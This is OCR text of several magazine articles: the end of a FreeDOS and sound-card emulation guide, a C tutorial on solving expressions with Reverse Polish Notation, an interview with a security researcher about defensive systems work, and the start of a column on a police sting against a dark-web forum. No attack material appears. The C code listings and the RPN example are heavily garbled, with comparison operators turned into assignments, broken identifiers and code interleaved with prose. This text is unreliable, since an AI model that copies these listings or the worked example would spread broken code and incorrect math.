installer iso file you downloaded from their official 
webpage, and then reboot the emulated machine. If 
youre using 86Box you need first to configure the 
BIOS for CDROM booting. The FreeDOS installer will 
guide you through the steps to install it with ease. 
Once it is installed, eject the disk image from the 
virtual drive, in the same icon you used to choose it, 
so FreeDOS boots from the emulated hard disk and 
presents you with the following screen: 


Figure 7. The FreeDOS installer 


Then, write EDIT AUTOEXEC.BAT, press enter, and 
search for the SET BLASTER line. 


Figure 8. Autoexec.bat 


This line configures the emulated Sound Blaster 
card. If you are using VirtualBox, the line should 
read: 
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SET BLASTER=A220 I5 D1 H7 P330 


lf you are using 86Box, you must change the 
parameters on the line according to the values set in 
the settings, with A being the address, | the IRQ, D 
the low DMA channel, H the high DMA channel and P 
the MPU-401 address. 


lf you choose to emulate a Gravis Ultrasound, you 
need to install the appropriate driver software and 
sound fonts that came with the real card. You can 
download from 


http://ftp.isu.edu.tw/pub/Hardware/multimedia/Gravis/ 
gus411/index-e.htm. 


save it, reboot the emulated system, and install your 
favorite games. 
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PROGRAMMING 


solving Expressions Using 


Reverse Polish Notation 


In this article, | will show you a way of simplifying and 
solving math expressions programmatically. A sample 
code in C will be shown to exemplify the ideas 
discussed here. This is designated for readers with at 
least a minimal knowledge of C language and also 
interested in Computer Science. 


Introduction 


If you have ever tried to write a program to solve 
expressions, you should know how complex this task 
can become. 


At first glance, solving expressions like “1 + 1”, “6 / 3” 
is pretty simple. However, things start becoming 
trickier when you have to consider precedence 
imposed by parenthesis beside the own math 
operators, things like: 


(1 +1)*6)/3+1-(24+1)*3/(4*5) 


Programmatically the above expression tends to 
produce plenty of recursivities, backtrackings and 
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workarounds. Hence, the final algorithm will be 
ultra-complex besides buggy. 


The expressions introduced above are written in the 
notation that we, humans, understand and how we 
learnt in school. This notation is called “infix” because 
the operator is introduced between a pair of 
operands (i.e.: numbers, variables). We also learnt 
that the addition and subtraction have equal 
precedence. The same rule applies to multiplication 
and division. Multiplication and division have a 
greater precedence than addition and subtraction. So 
they must be solved at first, except when an 
operation is embraced by parenthesis. In this case, 
the embraced “sub-expression’ has the greater 
precedence. 


The thing is more complicated if we also consider 
other symbols which operate in a similar way to the 
parenthesis, for instance ‘[..]’ and ‘{..}". In this case, 
there exists a precedence rule among them. 


As you can see, teaching a computer how to solve an 
expression in the way we do can be a Herculean 
task. 


Surprisingly, a way to beat this complication was 
created by a mathematician long time before any 
programmable computer showed up. 


The Reverse polish notation 


The polish mathematician, Jan Lukasienwicz, in 
1924, created an expression notation without using 
any symbol to inform precedence in order to prove 
that the precedence symbols like '(..)’, ‘[..]’ and ‘{..}' 
are not necessary as we think. In fact, they tend to 
be useless. 


The word ‘polish’ describes Jan’s nationality. The 
‘reverse’ word connotes that the operands come 
before the operators. As a result, it looks ‘reverse’ 
when compared to the standard infix notation. 


To add 3 to 6 using Reverse Polish Notation RPN, we 
write: ‘3 6 +’ instead of 3 + 6. 


Using the previous expression, it becomes: 
((1+1)*6)/3+1-(2+1)*3/(4* 5) 

In RPN: 

11+6*3/1+21+3%*45%*/- 


Even not taking into consideration, the precedence 
symbols like parenthesis, brackets and 
square-brackets, the RPN still considers the 
precedence of math operators. 


Talking of programming, the practical implication 
introduced by the Jan’s approach is the elimination of 
several complexity points when dropping out any 
precedence symbol. 


Another curious and impressive behavior suggested 
by the RPN is the stack usage (again, RPN was 
invented before any modern computer). So an 
expression in RPN is in its essence an input tape for 
a Turing Machine. By suggesting the usage of a 
stack, the expression can be solved by a Pushdown 
Automaton (PDA) deterministically. 


A quick overview on pushdown automata 


Pushdown automata are automata based on stack. 
They usually use a stack as a buffer, and their logic 
(a.k.a. the state transitions) is driven by the own 
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input. In the end, depending on the main logic, the 
result will be onto stack and/or the output tape. 
sometimes the state of the stack only defines the 
output. 


| think that it tends to be weird for younger 
programmers, who probably have debuted in 
programming using some OOP stuff. The OOP 
paradigm strongly separates data from code. More 
experienced programmers have lived an era which 
data and code were the same thing. In most cases, 
data is used to drive the program logic. Until today, 
we can see echoes of this wise approach in some 
areas, like operating systems, device drivers and so 
on. 


Imagine an input which carries the ‘answer’ in its 
data. So the programmer only writes the meta 
solution. Roughly speaking, the program is the 
interpreter of the ‘real’ program present in the input 
(a.k.a. the problem to be solved). This is the basis of 
the data-driven programming. Unfortunately, 
nowadays people have moved away from this type of 
programming in most software solutions. Some 
programmers consider it out-of-fashion. 


On the contrary, Computer Scientists tend to use 
data-driven models intuitively because they have 
studied Automata Theory more deeply, and this area 
is based on solid ideas of Alan Turing. His ideas, in 
general, introduce code and data as the same thing. 


Anyway, sometimes the cleverness and elegance 
achieved by data-driven code can be mind-blowing. 


Stack vs. Queue 


In Computer Science, more precisely in data 
structures field, the stack and queue are the most 
basic types of storing data. Maybe they can be 
considered the basic building blocks of data storage. 


When using a stack, as suggested by its name, you 
just stack up the data. Due to it, the first stacked data 
will be the last one extracted. In Data Structures, we 
also like to call stacks by the formal acronym LIFO 
(Last In First Out). 


The Queue is the complement of the stack, and it 
works as a cashier line. The first person to be 
attended to is the first in the line (OK, let's exclude 
jump the queue cases, sometimes the real world 
tends to be ‘weird’...). Due to the ‘cashier line’ 
behavior, in Data Structures, we call a Queue by the 
formal acronym FIFO (First In First Out). These two 
data structures are the heart behind of how to solve 
an expression using reverse polish notation in a 
computer. To convert from infix notation to RPN and 
also to solve a converted RPN expression, we need 
a stack and a queue. As you can see, we have two 
interesting pushdown automata to explore. 


About the sample code 


The sample code is a pretty simple C project capable 
of solving expressions that use the four basic math 
operations over integers. We can find the repository 


Code Listing 1: The stack C struct. 


1 typedef struct expr_ stack { 
2 char xdata; 

3 size_t data_ size; 

4 struct expr stack xnext; 
5 }expr stack ctx; 


at https://github.com/rafael-santiago/expr. There, you 
will get more detailed building instructions. 


| have successfully built this code on FreeBSD, 
NetBSD, OpenBSD, MINIX, Linux, Solaris and 
Windows. The simpler way of building it is through 
the following command: 


cc memory.c stack.c expr.c rpn.c main.c 


=OCxXpr 
The stack implementation 


The Code Listing 1 shows how a stack data element 
is represented in the sample code. Each element 
carries the data size and a pointer to the next 
element onto stack beside of course the data 
representing this current element. When you insert 
something onto a stack, you ‘push’ the element. 
Since the last element should be at the top of the 
stack, to push a new element means to point the next 
field of this new element to the passed current top of 
the stack, and finally, return the new element. In this 
case, the new top of the stack. The push code has 
been detailed in Code Listing 2. 


Code Listing 2: The expr_stack_push() function. 


1 expr stack ctx *expr stack _push(expr_stack ctx xstack, 

2 const char xdata, 

3 const size_t data_size) { 
4 expr stack ctx xnew_ top = NULL; 

5 

6 if (data == NULL || data_ size = 0) { 

7 return stack; 

8 } 

9 

10 new top = (expr stack ctx *) expr alloc(sizeof(expr_ stack ctx)); 
11 new top—>next = NULL; 

12 

13 new _top—>data = (char x«) expr _alloc(data_ size + 1); 
14 memset(new_top—>data, 0, data_size + 1); 

15 memcpy(new_top—>data, data, data_ size); 

16 new top—>data_ size = data_ size; 

17 

18 new top—>next = stack; 

19 

20 return new_ top; 


The Code Listing 3 brings the code for removing an 
element from the stack. This is another pretty simple 
code, because removing an element from a stack 
means returning the pointer referenced by the next 
field of the current top of the stack, and of course free 
the resources allocated by this current top. Usually, 
the jargon ‘pop is used for signaling element 
removing from a stack. 


The queue implementation 


The discussed code does not have a structure 
representing a queue since the queue behavior can 
be achieved by using a simple buffer. If the code was 
a Turing Machine, the queue would be the input and 
output tapes. In our case, the output tape will be an 
allocated buffer containing some relevant results in a 
return statement. The input tape is a specific 
argument received by the function. 


SO a queue containing the expression ‘(10 + 2)’ isa 
queue consisting of five elements: ‘(‘, 10’, ‘+’, ‘2’ and 


‘y, 
Converting from infix to RPN using a PDA 


The following steps are the PDA necessary to 
convert from infix notation to reverse polish notation: 


Input: a queue IN containing a well-formed infix 
expression. 


Output: a queue OUT containing a well-formed RPN 
expression. 


Code Listing 3: The expr_ stack pop() function. 


1 expr stack ctx x*xexpr_ stack pop(expr_ stack ctx xstack) { 
2 expr stack ctx xnew_ top; 
3 

4 if (stack == NULL) { 

s) return NULL; 

6 } 

7 

8 new top = stack—>next; 

9 

10 expr free (stack — data ); 
iim expr free(stack ); 

12 

13 return new_ top; 


While the queue IN is not empty: 


Dequeue from IN storing it in tk and 
execute one of the four steps: 


If tk is a ‘(, push it onto stack S. 


If tk is a‘), enqueue the top of S 
in OUT and pop from S, repeat 
these two operations until the top 
of S bea ‘(’. The ‘( is also poped 
but not enqueued. 


If tk is an operator O , enqueue 
the top element O' of S in OUT 
while O' be an operator having 
precedence >= O. After this, push 
O onto S. 


If tk is an operand, just enqueue it 
in OUT. 


After consuming all queue IN 


Enqueue the top of S in OUT and pop from S. 
Repeat these two operations until S is empty. 


Code Listing 4: ‘Th ifx2 function. 
The Code Listing 4 implements the PDA aeameENR sisi aren eal eterna 


1 char xexpr_ifx2rpn(const char xifx, const size_t ifx_size, 
described above. The dequeue operation is 2 Se Ue | 
3 char x*xrpn, xrp, xrp end; 
done by the function 4 const char «ifx next , *ifx end; 
5 size_t rp_ size; 
; / i 6 char «symbol; 
Bxpy et cul y bol): In this sample : ee eee 
code, the queues are simply char buffers. 8 expr_stack ctx *stack = NULL, *top; 
9 int curr op_ precedence; 
The pop and enqueue operations are 10 
it if (ifx == NULL || ifx size — 0) { 
abstracted a little by the macros 12 return NULL; 
13 
‘rpn_enqueue and ‘rpn_enqueue_and_pop. 14 
j ; | eae 15 // INFO(Rafael): 64kb buffer as default output. 
These macros are detailed in Code Listing 5. —16 rp size = 65535; 
Ly 
18 rpn = (char x) expr_alloc(rp_ size); 
The dequeue operation is merely a buffer - AUS UI 2G Tl aSleste 
parsing function that returns the current me a , 
22 rp end = rp + rp_ size; 
relevant buffered symbol. The function 23 . 
24 ifx next = ifx; 
representing this dequeue operation follows mi ifx_end = ifx + ifx_size; 
Code Listing 6. Take into consideration that “i symbol = expr Dg ore cur =eyimbel (itz next ; ean , &ifx next, 
; symbol size); 
this function not only returns the current 29 
30 while (symbol != NULL) { 
buffered symbol but also consumes the 31 if (symbol size > 1 || isdigit(*symbol)) { 
; ; ; BD // INFO(Rafael): It is a number so just enqueue it. 
Queue by iterating the pointer of the passed 33 da reat ae ie one , symbol size); 
: 34 else if (*symbol = ‘(’ 
char buffer, the (char **next) does the job. 35 // \NFO(Rafael): It is an operator, ‘(’ or °)’. 
36 stack = expr_stack_ push(stack, symbol, symbol _ size); 
37 } else if (*symbol = ’)’) { 
Since this sample code works with the four fala als nN a Ee eee 
until a is gotten. 
basic math operations, the precedence of - iene pie OG er 
while (!expr stack empty(stac 
those operators are returned by the simple 42 strcmp(top—>data, "(") != 0) { 
43 rpn_ enqueue _and_ pop(stack, top, rp, rp_end); 
function called ‘expr_get_op_precedence(). 44 
ee _ oe 45 stack = expr_stack_pop(stack ); 
For addition and subtraction, it returns 0, for 46 } else if (is expr op(*symbol)) { 
a ; ane ; A7 // INFO(Rafael): Pop from stack while there is on the top of 
multiplication Or division, it returns 1, and for 48 a it an operator with precedence equal or 
. 49 a) greater than the current operator. 
any other unexpected symbol, -1 is returned. 50 a However, before poping enqueue it in rpn. 
‘ ‘ ‘ ol 
The details about this function are presented 52 top = expr stack _top(stack); 
‘ ae 53 curr op precedence = expr get _op_precedence(xsymbol ); 
In Code Listing 7. 54 while (!expr stack empty(stack) && is expr op(xtop—>data) && 
rat) expr get op_precedence(xtop—>data) >= 
; _ ; 56 curr op_precedence) { 
Solving RPN expressions with a PDA - , rpn_ enqueue and pop(stack, top, rp, rp end); 
59 
: a 60 // \NFO( Rafael): Push onto stack the current operator. 
Once the expression converted from infix 61 stack = expr stack push(stack, symbol, symbol size); 
notation to RPN, much work was done to - } 
: i 64 expr free(symbol ); 
solve the Expression. All recursion and 65 symbol = expr get curr _symbol(ifx_ next, ifx end, &ifx next, 
backtracking imposed by the infix notation 7 eee 
i 68 
are out, and you should do expression ee ey ee 
evaluation using a deterministic set of simple 72 — while (texpr_stack_empty(stack)) { 
val rpn_enqueue_and_ pop(stack, top, rp, rp_end); 
steps. 72 } 
73 
74 for (rp = rpn; xrp != 0; rp++t) 
es 75 ; 
Input: A queue IN containing the RPN 76 
. 77 rp size = rp — rpn; 
expression. 72 
79 if (rpn[rp size — 1] = ’._’) { 
80 // WARN( Rafael): It could be done without the previous if clause 
Output: A value OUT representing the 81 // but let’s make sure. 
82 rpn[rp size — 1] = 0; 
expression result. 83 rp size —= 1; 
84 } 
85 
: : : 86 if (rpn_size != NULL) { 
While the queue IN is not emply. 87 // \INFO(Rafael): If the user has passed a rpn_size pointer we can 
88 ie adjust the output size, probably saving memory. 
89 
Dequeue tk from IN and execute one of the 90 «rpn_size = rp_size: 
91 
two steps: 92 rpn = expr_realloc(rpn, rp_size + 1); 
93 
94 
95 return rpn; 
96 } 
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Code Listing 5: The rpn_enqueue() and rpn_enqueue_and_pop() macros. 


. 1 #define rpn_enqueue(queue, queue _end, data, data_size) {\ 
lf tk is not an operator, push tk onto stack ' Fi GUEAE On eae ie yi ven ee aac 
S. 3 printf (”ERROR: Expression buffer is too _long.\n” );\ 
4 exit (1);\ 
5 ee data, d )\ 
: 6 memcpy(queue, data, ata_ size); 
If tk is an operator, get the top element from =~ Peeper ere 
: ' 8 if ((queue + 2) >= queue_end) {\ 
S and pop It. Repeat these two operations 9 printf (” ERROR: Expression buffer _is too _long.\n” );\ 
according to the arity of the current 7 " exit (1);\ 
operator. After getting the N values from S, 2 equeue = '.':\ 
. ; 13 queue += 1;\ 
execute the math operation which pushes 14 } 
15 
the result back onto stack S. 16 #define rpn enqueue _and_ pop(stack, top, queue, queue end) {\ 
17 rpn_ enqueue(queue, queue end, top—>data, top—>data_ size); \ 
18 stack = expr stack pop(stack);\ 
19 top = expr stack _top(stack );\ 
20 }\ 


Code Listing 6: The expr_ get curr_symbol() function. 


O ONDTBWN EH 


char xexpr get curr symbol(const char xbuffer, const char xbuffer end, 


const char xxnext, size_t *symbol size) { 
const char xbp, xtbp; 
char xsymbol = NULL; 
int neg = QO; 


if (buffer == NULL || *xbuffer = 0 || buffer end == NULL || 
next == NULL || symbol size == NULL || buffer >= buffer end) { 
if (symbol size != NULL) { 
*symbol size = Q; 
i 
return NULL; 
i 
ksymbol size = Q; 


// INFO(Rafael): Finding the initial point of the current symbol. 


bp = buffer; 
while (bp != buffer end && is _expr_blank(xbp)) { 
bp+-+; 
) 
if (bp == buffer end) { 
return NULL; 
i 
// INFO( Rafael): Finding the initial point of the next symbol. 
if (xbp == "—’ && (bp + 1) != buffer _ end && isdigit(x(bp + 1))) { 
bp += 1; 
neg = 1; 


} 


if (isdigit(*bp)) { 
(*next) = bp + 1; 


while ((*next) != buffer end && isdigit(**xnext)) { 
(*next)++; 
bp —= neg; 
} else { 


(*next) = bp + 1; 


// INFO( Rafael): Copying the current symbol and returning it. 


*ksymbol size = (*xnext) — bp; 

symbol = (char x) expr _alloc(*symbol size + 1); 
memset(symbol, 0, xsymbol_ size + 1); 
memcpy(symbol, bp, *symbol_ size); 


return symbol; 
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Code Listing 7: The expr_get_op_precedence() function. 


1 int expr get _op_precedence(const char op) { 
2 if (op = ’+’ || op = '—’) 

3 return QO; 

4 } 

5 

6 if (op == '«’ || op = '/’) { 
7 return 1; 

8 } 

9 

10 return —1; 

11 } 


After consuming all queue IN, the 
Stack S will contain one single element. 
Store the top of S into OUT and make S 
empty poping its last element. 


Return OUT. 


In math, arity means the number of operands 
necessary by a specific operator. The arity 
for all operators supported by the sample 
code is two. 


The Code Listing 8 shows the C 
implementation for the PDA presented 
above. All stack and queue functions were 
previously introduced. The functions 
expr_add(), expr_sub(), expr_mul() and 
expr_div() are pretty similar. These functions 
take advantage of C macros to make easier 
their implementation. In the Code Listing 9, 
you can see how easy is to implement a 
math operation with the arity of two 
arguments. 


The Code Listing 10 shows all macro stuff 
used to make a new math operator 
implementation easier. 


The macro ‘expr_op_ ab _ text gets the two 
elements from the stack and pops them. 
After the main macro 
‘expr_operator_ab_impl performs the math 
operation, the macro ‘expr_op_ epilogue’ 
push back onto stack the result of that 
operation. 


Code Listing 8: The expr_eval() function. 


int expr eval(const char *rpn, 
const char xrp_ next, xrp_end; 
expr stack ctx «stack = NULL; 
char x*xsymbol; 
size_t symbol _ size; 
int result = 0; 


CONMOKRWNH 


8) return Q; 
10 } 


12 rp next = rpn; 
13 rp end = rp next + rpn_ size; 


const size t rpn_ size, 


int *xhas error) { 


if (rpn == NULL || rpn_ size = 0 || has_error == NULL) { 


15 symbol = expr get curr _symbol(rp_next, rp_end, &rp_next, 


16 &symbol_ size); 
18 xhas error = Q; 


20 while (symbol != NULL) { 


21 if (symbol size > 1 || isdigit(*symbol)) { 


22 stack = expr stack push(stack, symbol, symbol size); 


23 } else if (is expr _op(*symbol)) { 
24 switch (*xsymbol) { 

25 case ‘+’: 

26 expr add(&stack , 
27 break; 


has error); 


29 case ‘—’: 
30 expr sub(&stack , 
31 break; 


has error); 


33 case ‘x’: 
34 expr mul(&stack , 
395 break ; 


has_ error); 


oF case ’/’: 
38 expr div(&stack , 
39 break; 


has error); 


Al default: 
42 // WARN( Rafael ): 
43 «has error = 1; 


44 printf (”WARN: _unexpected_operator_’%c ’.\ Nn” 


A5 expr free(symbol ); 
46 return OQ; 


48 ii 
50 expr free(symbol ); 
52 if (xhas_error) { 


BS return Q; 
54 } 


It should never happen. 


56 symbol = expr get curr _symbol(rp_next, rp_end, &rp_ next, 


57 &symbol_ size); 
58 } 


60 if (expr stack empty(stack)) { 

61 // WARN( Rafael): Some error occurred. 
62 xhas error = 1; 

63 return QO; 

64 i 

66 result = atoi(expr stack _top(stack)—>data ); 
68 stack = expr_stack_pop(stack ); 


70 if (!expr stack empty(stack)) { 


cal // WARN( Rafael): In cases of well converted expressions 


(2 rE) 
73 ii leak is pretty ugly. 
74 expr stack  free(stack ); 

75 xhas error = 1; 

76 } 


78 return result; 
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it should never happen. But a memory 


, *symbol ); 


Using the sample code ENTER to get the evaluation result. To exit the 


program, you should type CTRL+c and hit ENTER. 
The program works based on a simple prompt. You 


should type the expression in infix notation and hit 


Code Listing 9: ‘The implemented math functions. 


1 expr operator ab _impl(add, stack, has_error, +); 
2 expr operator ab impl(sub, stack, has error, —); 
3 expr operator ab _impl(mul, stack, has_error, x); 
4 expr operator ab _impl(div, stack, has_error, /); 


Code Listing 10: ‘The macros which implement a math operation. 


1 #define expr operator ab _impl(opname, stack, has_error, o)\ 
2 void expr ## opname(expr_ stack ctx x*xstack, int *xhas_error) {\ 
3 int a, b;\ 

4 expr stack ctx xtop = NULL;\ 

5 char tmp[255];\ 

6 expr op _prologue(stack, has_ error); \ 

7 expr op ab _text(stack, a, b, has_error);\ 

8 a=ao b;\ 

9 expr op _epilogue(stack, has error, tmp, a);\ 
10 } 

11 

12 #define expr op _prologue(stack, has _error) {\ 

13 if (has error == NULL) {\ 

14 return; \ 

15 S| 

16 if (stack == NULL) {\ 

17 khas error = 1;\ 

18 return; \ 

19 YN 

20 khas error = 0Q;\ 

21 

Za 

23 #define expr op _ab_text(stack, a, b, has_error) {\ 
24 if (expr stack empty(xstack)) {\ 

25 khas error = 1;\ 

26 return; \ 

27} 

28 b = atoi(expr_ stack _top(xstack)—>data);\ 

29 (*stack) = expr stack pop(xstack );\ 

30 if (expr stack empty(xstack)) {\ 

31 khas error = 1;\ 

32 return; \ 

33 JN 

34 a = atoi(expr_ stack top(xstack)—>data );\ 

35 (*stack) = expr stack pop(xstack );\ 

36 }\ 

37 

38 #define expr op epilogue(stack, has error, tmp buf, result) {\ 
39 sprintf(tmp, "%d”", a);\ 

40 (*stack) = expr stack push(xstack, tmp, strlen(tmp));\ 
Al if ((* stack) == NULL) {)\ 

42 khas error = 1;\ 

43 return; \ 

44S 

A5 } 
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The following are some calculations done with the Moreover, to implement the shown algorithms in 
discussed code: other programming languages of your choice could 
be a good programming exercise. 


NFO) to exit the program type <CTRi>«c and then <ENTER> 


If you still have some questions about the discussed 
code, feel free in contact me. 


Conclusion 


This article discussed a simple way of solving 
expressions using reverse polish notation (RPN). An 
algorithm to convert from infix to RPN was shown 
and also an algorithm to solve a RPN expression. By 
the way, those are two classical algorithms. 


Maybe it can be a starting point for you if you are 
planning dive into compiler design. However, this is 
not the only way of solving expressions. RPN is one 
of the most popular solve strategies. You can find 
RPN in famous financial and scientific calculators. 
These calculators include a RPN mode. 
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polish notation was invented much time before the 

modern computer era. 


The RPN notation is also natively implemented in the 
PostScript language. Any expression written in 
PostScript is in its essence denoted using RPN. 


The article also shows how the data structures stack 
and queue can be useful to solve computer 
problems. In fact they are used in classical Turing 
machines. Due to this, these two data structures can 
be considered basic building blocks for any other 
more refined data structure. 


For the interested readers, a good exercise would be 
to extend the sample calculator to support more math 
operations with arity greater than two arguments. 
Maybe, also support floating point numbers. 
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Can you tell our readers about yourself and your role nowadays? 


lam currently doing research at Florida State University, USA, as a Ph.D. candidate specialized in the system 
security area. My daily task is to do research on the latest system and security topics, trying to find something 
interesting to work on, and improve the security world with better defense mechanisms. 


How did you first get involved with computer science? 


When | was young, | loved to explore computer-related stuff. Like many kids, | loved playing computer games. 
Later, | found the so-called "hacking" stuff much more interesting and started to learn and try it by myself. After 
high school, | naturally chose to further my study in the areas of computer science and information security. It 
really interests me, and drives to further pursue my master and Ph.D. degrees in the field of computer science. 


While having a wide field of expertise, why do you put noticeably more emphasis on Security? 
The simple answer is: | just fell in love with it in the first place. 


During my middle school and high school years, other students were still addicted to computer games, but | 
started to investigate the "hacking" stuff. At that time, | simply collected interesting tools from the Internet or 
CDs, and tried to use and modify them myself. During my undergraduate studies, | did have periods of time 
being interested in other fields, like machine learning, natural language processing, and information retrieval. 
Nevertheless, | finally came back to my first love - security. 


What was your the best work? Can you tell the idea behind it? What was its purpose? 


It is hard to say the "best" work. Security research on the defense side is usually a certain kind of improvement 
on the current defense landscape, a trade-off between security, performance and usability, or some ideas to 
inspire further research. | do not consider any of my work perfect, even though | am kind of a perfectionist. 
Here, | describe our paper "Pinpointing Vulnerabilities". The work is implemented on FreeBSD. We choose 
FreeBSD by virtue of its simplicity and stability. In security, simplicity is a virtue. Next, | will describe the main 
idea. 


To detect and locate memory vulnerabilities precisely, we often need execution and memory access 
instrumentations, which are usually heavy-weight and costly in performance. This significant slowdown has at 
least two disadvantages: (1) Affects the usability of the software; (2) Lets the attackers know they are 
monitored. To solve this problem, we designed a record & replay mechanism explained as follows. During 
online execution, we deploy an attack detector and record the important execution events, with 
low-performance overhead. Then we replay the execution log in the offline stage if something wrong happens, 
with heavy-weight instrumentation to locate the vulnerabilities. With simple yet effective heuristics, the system 
can locate a variety of memory vulnerabilities with low online performance overhead. 


What are your most interesting security issues, and why? 


Currently, | love to solve system security issues. For other security issues, they may be caused by the flawed 
design; but for system security, a high percentage of the problems come from human beings’ errors, and they 
are very difficult to be completely removed. These kinds of threat could exist on a wide variety of platforms. In 
the future, everything could be connected, like loT (Internet of Things) devices, and even our brains. If they are 
compromised, the attackers could know everything about us and leverage the information to do bad things. 
Also, even though new security features and extensions are designed and issued every year, there exist a large 
number of legacy code and devices still in use. For vendors, they may not care about their old products, and 
push customers to buy or use the newly released ones. Protecting them becomes a tough challenge. The dark 
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side and the benign side are both improving over time. It is like an arms race between them, and we do not 
Know when the war will end. 


some people may think that security problems are obscure and they cannot change much to protect 
themselves. However, very simple attacks are happening every day around us, such as shoulder surfing, 
dumpster diving or other physical attacks. For example, an attacker can physically transplant the memory 
(freeze it first) from your computer to his machine, and steal the sensitive information (e.g., hard disk 
encryption key). It is called a cold boot attack. To defeat this kind of attacks, we designed a system named 
EncExec. The basic idea is to make the content in memory always encrypted. When bad guys get the memory, 
they cannot extract the information. The system prototype is also implemented on FreeBSD. 


Another known problem in the security field is how to deal with unknown threats. Information asymmetry 
between attackers and defenders is a large barrier. Attackers can always think of new attack methods, while 
defenders usually deploy their detection and protection systems based on known attacks. The similar situation 
happens for the artificial intelligence (Al) field. Current machine intelligence is based on the known information 
fed by human beings, but they cannot really create or understand something unknown. It is a long way to go. 
As the world is changing fast, new attacks can exist in unpredicted forms, like new social engineering fraud, Al 
attacks, hardware-related issues (e.g., row hammer exploits), 0-day vulnerability exploitation, or a combination 
of them. Here, the tricky thing is that the attacked or compromised parties do not share the information or data 
of these events due to some reasons. Thus, it is very hard for others to learn from them. Blockchain and 
differential privacy may help solve this problem in the near future. 


What tools do you use most often and why? 


As a researcher, when needing something, | usually first search on the Internet or ask my colleagues and friends 
to get several candidates, and then select one for my implementation. So | will choose any good tools that are 
suitable for my project requirements. When necessary, | will modify them to serve my needs better. 


Typically, | interact with compilers, debuggers, system emulators, text/nex editors, and sometimes reverse 
engineering tools a lot. | do not stick to one tool all the time, as better tools may be released and they may be 
suitable for different scenarios. For text editors, | often use vim/vi, which has a long history. For compilers and 
system emulators, | often use LLVM and QEMU, which are relatively young. 


What was the most difficult and challenging implementation you’ve done so far? Could you give 
us some details? 


Usually, the most difficult and challenging task is not the implementation but the problem we face. In the 
Android ecosystem, new vulnerabilities and exploitation methods are emerging every month, and they can exist 
in various forms or a combination of them. Against the art of exploitation, it is very difficult to completely detect 
the attacks and automatically patch the vulnerabilities, especially for unknown threats. Additionally, as so many 
different Android devices exist in the world, they may have different device vendors, different system versions 
and configurations. Hence a good solution also requires adaptiveness, which is another big challenge we face. 
Furthermore, for newly released devices, we may integrate the latest technologies to do the work. However, for 
old devices in the market, since they may have already been out of support from the vendors or carriers, only 
limited countermeasures could be taken to protect them. To mitigate the problem, we proposed a solution 
named KARMA, which can build a community to live patch thousands of different Android kernels adaptively. 
The paper is titled "Adaptive Android Kernel Live Patching", at USENIX Security 2017. 
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The problem exists not only in the Android ecosystem but also in lots of other places. Although security 
software/hardware features and extensions are designed and added every year, the situation is not optimistic 
for legacy code and devices, as they are usually not up-to-date after a long time, rendering these new features 
effectively useless for them. 


What future do you see for IT? Can you tell us about your favorite new releases? 


In my opinion, there could be a significantly increasing number of loT devices in the future, and they could be 
used in a wide variety of scenarios, like self-driving vehicles, health-related sensors and medical devices. Some 
of them are security-critical. Therefore, protecting them poses a major challenge. 


Nowadays, new security solutions are released every year, like Intel SGX, Intel MPX, ARM TrustZone and the 
Rust programming language, to name but a few. Some of them were designed a long time ago, but real 
deployment takes time. Nevertheless, new attacks are also emerging in the field such as side channel attacks 
against Intel SGX. These solutions are far from perfection, and we may wait longer for these solutions to be 
mature. 


These are the technology-side solutions. However, attackers are also very "innovative" as they may bypass all 
these solutions by human beings' weaknesses, and they can take the latest research results in Al to perform 
the exploitation. Unfortunately, most people do not have security expertise, even the basic cybersecurity 
knowledge to protect themselves from the underground economy. 


In the future, | think the solution could integrate the knowledge of psychology (e.g., social behaviourism), 
economics, management science, sociology, and brain science to increase the cost of successful exploits. 


Do you have any untold thoughts that you would like to share with the readers? 


Lots of current security research works need to strike a balance between security, performance, and other 
aspects of the overall solution. In areas like architecture, there exists high redundancy in structural mechanics 
to ensure safety; while in security, the situation is not optimistic. Current systems often place so much 
emphasis on the benchmark performance, but omit the necessary security guarantees. These security features 
should be considered as the internal parts of the system, rather than optional add-ons or extensions, even 
burdens. 


In most situations, the small reduction of performance only puts little or no impact on the overall user 
experience. For example, the hardware configurations and performance scores of Apple's products may not be 
the best, but users still choose them because of the great user experience. However, persuading people to 
integrate these security features is not an easy task, just like selling insurance, as we do not Know when a 
problem could arise. 


Currently, the world is changing fast. Tech companies, especially start-ups, are dying to try new features such 
as adding code to the large and complex code base. They may do a lot of A/B tests (a number of versions 
could run simultaneously on the platform targeting parts of the users), and discard useless code in a very agile 
manner. This kind of development might be error-prone and easy to have security issues, especially on the 
system's cold paths which are not thoroughly tested and reviewed. Since the quickly released software 
products often have advantages in the market with fast iterative development, other similar products with an 
emphasis on security and strong reliability may be evicted from the major market gradually by their 
competitors. 


Next, new products also follow this kind of principles to survive in the market, resulting in a vicious circle of 
security and stability. This kind of phenomena is somewhat similar to Gresham's law in economics. 
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Here is another consequence: people are afraid of updating their software or device firmware, in case 
something unknown happens to the new versions such as system or software crashes or instability. This 
consequence results in a large vulnerable time window for attackers to perform exploitation. 


To timely patch Android kernels, we proposed a solution named KARMA for live patching, which can solve this 
oroblem to some extent. 


What’s the best advice you can give to the BSD magazine readers? 


Try to write clean, reliable and robust code. Try to propose simple yet effective solutions which take stability, 
reliability and security into consideration. Also, security education (even on the offensive side) is important for 
programmers, operators and administrators. Without the knowledge, we cannot know what the potential 
problems could be, and how to avoid failures, bugs, and vulnerabilities in develooment and maintenance. 


Thank you 
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The recent sting by Queensland’s Taskforce Argos in 
bringing a pedophile forum on the dark web to justice 
raises questions not just for systems administrators and 
IT professionals, but law enforcement and the general 
public as well. Who can we trust out there? 


by Rob Somerville 


From a philosophical and ethical quadrant that parcels up actions and motivation, Taskforce Argos, while not 
exactly skating on thin ice, is beyond all reasonable doubt pushing the edge of the envelope when it comes to 
acting as a disrupter and assisting in arresting the evil perpetrators of child abuse. From a simplistic standpoint, 
this is a worthy example of the “end justifying the means”, and all the PR fanfare surrounding this victory leaves 
me rather perplexed on some levels. Firstly, as the team would be the first to admit, this is only a victory in the 
sense of battle rather than war, there will have been a few casualties on the other side and like the “whack-a- 
mole” fairground game, be it kiddie porn, drugs, financial corruption or whatever, the space left by those 
spending some time with cold showers, poor food and iron bars will soon be occupied by someone else, 
undoubtedly twice as clever and now cognisant of the Modus Operandi used by the taskforce. Secondly, they 
have fallen into an age-old procedural trap that has undermined any moral high ground their achievements rest 
upon. They not only impersonated the site administrator but they also traded child porn online. They sheltered 
under a legal immunity provision which Australian law gives to certain agencies. 


Don’t get me wrong. | applaud this victory. | would, however, qualify this with the word pyrrhic, certainly as far 
as ethics is concerned. In the long term, it is unclear if this operation will bring a significant number of 
successful prosecutions, other than the PR starburst of a few unfortunate and tragic individuals who happened 
